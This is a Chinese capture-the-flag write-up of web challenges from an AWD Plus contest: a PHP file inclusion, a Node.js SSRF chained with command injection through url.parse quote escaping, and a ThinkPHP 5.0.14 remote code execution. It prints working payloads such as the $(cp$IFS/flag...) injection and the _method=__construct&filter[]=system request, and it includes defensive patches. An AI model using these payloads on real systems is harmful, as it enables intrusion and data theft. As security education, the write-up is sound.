序
第一次参加网鼎杯线下,由于太忙,这篇文章晚了一些,这次网鼎的赛制不同于以往线下的AWD模式,而是以一种AWD Plus的模式。
AWD Plus规则简述
每个队伍会有相同的靶机和题目源码,得分分值分为攻击分值和防御分值两部分,攻击分值就是选手需要先找到靶机存在的漏洞,然后通过构造可以利用成功的exp获取靶机的flag提交获取的分值,防御分值是选手需要提交相应的修复代码给平台,平台每隔一段时间会自动对赛场选手的靶机进行攻击,被平台攻击成功的队伍获取flag的队伍会失去防御分值,反之,防御成功就会获得相应的防御分值,还有一点需要注意的就是选手提交的修复代码不能导致靶机环境服务异常,否则会有异常扣分。
通过规则可以看到该赛制其实是一种ctf线上赛+一些AWD元素的模式,和AWD相比少了选手之间的攻击和权限维持等元素
下面说一下题目(部分web题目因为题目原因或者是自己还没有掌握,暂时先放一放,回头再填坑)
AliceWebsite
index.php第30行,很明显的文件包含

获取flag,忘记截图了
http://172.16.9.13:9002/index.php?action=/flag
flag{885e4f3b-5f02-454c-ba8d-dbbb6d77c7be}
patch
1 2 3 4 5 6 7 8 9
| <?php $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php'); $file = dirname(__FILE__)."/".pathinfo($action)["filename"].".php"; if (file_exists($action)) { include $file; } else { echo "File not found!"; } ?>
|
babyjs
主要考察:
1、ssrf绕过
2、node.js url.parse函数解析url的一些特性而导致的一些绕过方法
题目代码,看路由文件:routes/index.js,可以看到是nodejs代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| var express = require('express'); var config = require('../config'); var url=require('url'); var child_process=require('child_process'); var fs=require('fs'); var request=require('request'); var router = express.Router(); var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1']; router.get('/', function(req, res, next) { res.json({}); }); router.get('/debug', function(req, res, next) { console.log(req.ip); if(blacklist.indexOf(req.ip)!=-1){ console.log('res'); var u=req.query.url.replace(/[\"\']/ig,''); console.log(url.parse(u).href); let log=`echo '${url.parse(u).href}'>>/tmp/log`; console.log(log); child_process.exec(log); res.json({data:fs.readFileSync('/tmp/log').toString()}); }else{ res.json({}); } }); router.post('/debug', function(req, res, next) { console.log(req.body); if(req.body.url !== undefined) { var u = req.body.url; var urlObject=url.parse(u); if(blacklist.indexOf(urlObject.hostname) == -1){ var dest=urlObject.href; request(dest,(err,result,body)=>{ res.json(body); }) } else{ res.json([]); } } }); module.exports = router;
|
大致读一遍代码:
首先在blacklist数组当中设置了一些不同格式的内网ip,然后是三条路由
先看router.get('/debug', function(req, res, next)
,这里对req.ip
进行了检查,要求req.ip
的值必须在blacklist
数组当中,不然请求过去会直接返回空{}
,之后使用req.query.url
接收get方式传入的url参数,将url参数值当中的单双引号替换成空后赋值给变量u,之后通过url.parse(u).href
解析出url值当中的href,之后就是拼接为echo '${url.parse(u).href}'>>/tmp/log
这题命令,执行,之后返回/tmp/log当中写入的内容,简单来说就是把get传入的url参数当中的href部分写入/tmp/log,然后输出
这里的req.ip
指的是request请求的原始源ip,也就是remoteAddress,可以理解成php当中的$_SERVER['REMOTE_ADDR']
。所以这里直接以get方式请求/debug是不行的,均会返回{}
,这里需要req.ip
的值为blacklist
当中的本地ip,到了这里大概可以看出是需要找一个ssrf
第一步:绕内网ip
提一下常见的方法:
localhost
特殊域名: 127.0.0.1.xip.io
ip 8进制格式:127.0.0.1
-> 0177.0.0.1
ip 16进制格式:127.0.0.1
->0x7f.0.0.1
ip 10进制整数格式:127.0.0.1
->2130706433
ip 16进制整数格式:127.0.0.1
->0x7F000001
ipv6: 0:0:0:0:0:0:7f00:01、0:0:0:0:0:0:0:1、::1、ip6-localhost、x.1.ip6.name
简写: 127.0.0.1->127.1、0
0.0.0.0等
因为是黑名单,绕过方法有很多,这里使用ip进制转换的格式就能绕过
第二步:命令执行逃逸引号
因为在router.get('/debug', function(req, res, next)
当中,将req.query.url
当中的单双引号删除了,导致不能闭合引号执行命令,需要进行绕过
这里需要用到url.parse()
函数解析url的一些特性去进行绕过
url格式:
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
经过测试,发现url.parse()
在解析url的时候,[user[:password]
部分会自动进行url解码,利用这个特性就可以逃逸引号进行命令注入
本地测试demo
1 2 3
| var url=require('url'); u="http://u%27:p%27@127.0.0.1%27:80%27/path%27?a%27=b%27#c%27"; console.log(url.parse(u));
|
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Url { protocol: 'http:', slashes: true, auth: 'u\':p\'', host: '127.0.0.1', port: null, hostname: '127.0.0.1', hash: '#c%27', search: '?a%27=b%27', query: 'a%27=b%27', pathname: '%27:80%27/path%27', path: '%27:80%27/path%27?a%27=b%27', href: 'http://u\':p\'@127.0.0.1/%27:80%27/path%27?a%27=b%27#c%27' }
|
可以看到auth和href部分的单引号内容被自动url解码了,而其它位置均不能被url解码
scheme部分当中如果有url编码,不光不会被url解码,还会变成下面这样,识别不到[user[:password]
部分

上面只是简单的例子,然而实际上url.parse()
解析url是非常复杂的,可以看下面的例子
1 2 3
| var url=require('url'); u="aaa://%21%22%23%24%25%26%5c%27%28%29%2a%2b%2c%2d%2e%2f%30%31%32%33%34%35%36%37%38%39%3a%3b%3c%3d%3e%3f%40%41%42%43%44%45%46%47%48%49%4a%4b%4c%4d%4e%4f%50%51%52%53%54%55%56%57%58%59%5a%5b%5c%5c%5d%5e%5f%60%61%62%63%64%65%66%67%68%69%6a%6b%6c%6d%6e%6f%70%71%72%73%74%75%76%77%78%79%7a%7b%7c%7d%7e@11!$#%&()*+,-.01@23456789<=>ABCDEFGHIJKLM NOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{}|#111"; console.log(url.parse(u));
|
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Url { protocol: 'aaa:', slashes: true, auth: '!"#$%&\\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~', host: '11', port: null, hostname: '11', hash: '#%&()*+,-.01@23456789%3C=%3EABCDEFGHIJKLM%20NOPQRSTUVWXYZ[]%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7D%7C#111', search: null, query: null, pathname: '/!$', path: '/!$', href: 'aaa://!%22%23%24%25%26%5C\'()*%2B%2C-.%2F0123456789:%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ%5B%5C%5C%5D%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D~@11/!$#%&()*+,-.01@23456789%3C=%3EABCDEFGHIJKLM%20NOPQRSTUVWXYZ[]%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7D%7C#111' }
|
可以看到解析出的href当中第一个@字符前面的部分,只有!'()*-.:_~和数字大小写字母
会被url解码,或者可以理解成除了这些字符外,auth部分的其它字符都会被url编码,而第一个@字符后的内容,<>空格^`{|}
这些字符都会被url编码,所以这里即使逃逸出了单引号,想要实现命令注入依旧很困难
说一下两个不那么完美的方法
方法一,使用cp命令:
POST /debug
url=http://2130706433/debug?url=http://%2525271@123$(cp$IFS/flag$IFS/tmp/log)%2526%2523

实际上执行的命令为
1
| echo 'http://'1@123/$(cp$IFS/flag$IFS/tmp/log)&
|
缺陷:只能读取文件
方法二,使用script命令:
https://www.cnblogs.com/shineriver/p/10922970.html
POST /debug
url=http://2130706433/debug?url=http://%2525271@123$(script$IFS-cwhoami$IFS-a$IFS/tmp/log)%2526%2523

POST /debug
url=http://2130706433/debug?url=http://%2525271@123$(script$IFS-cls$IFS-a$IFS/tmp/log)%2526%2523

缺陷:可以执行命令,但是执行的命令当中不能有空格,所以不能ls /、cat /flag这样去直接读flag文件
这道题可以直接用第一种方法读取/flag

之所以这么麻烦其实是因为不能出网,不然逃逸出引号后可以直接通过远程下载sh脚本执行的方式去执行任意命令了,这里的环境下使用文件重定向的限制实在是太多。。。
patch
第20行:
1
| var u=req.query.url.replace(/[\"\']/ig,'');
|
修改为:
1
| var u=req.query.url.replace(/[\"\'%27]/ig,'');
|
防止被url编码绕过
faka
预期解应该是前台thinkphp rce(该题目使用的版本为thinkphp 5.0.14),题目分析先暂时放一下,有时间单独写篇文章
POST /index.php
_method=__construct&method=GET&filter[]=system&get[]=cat /flag.txt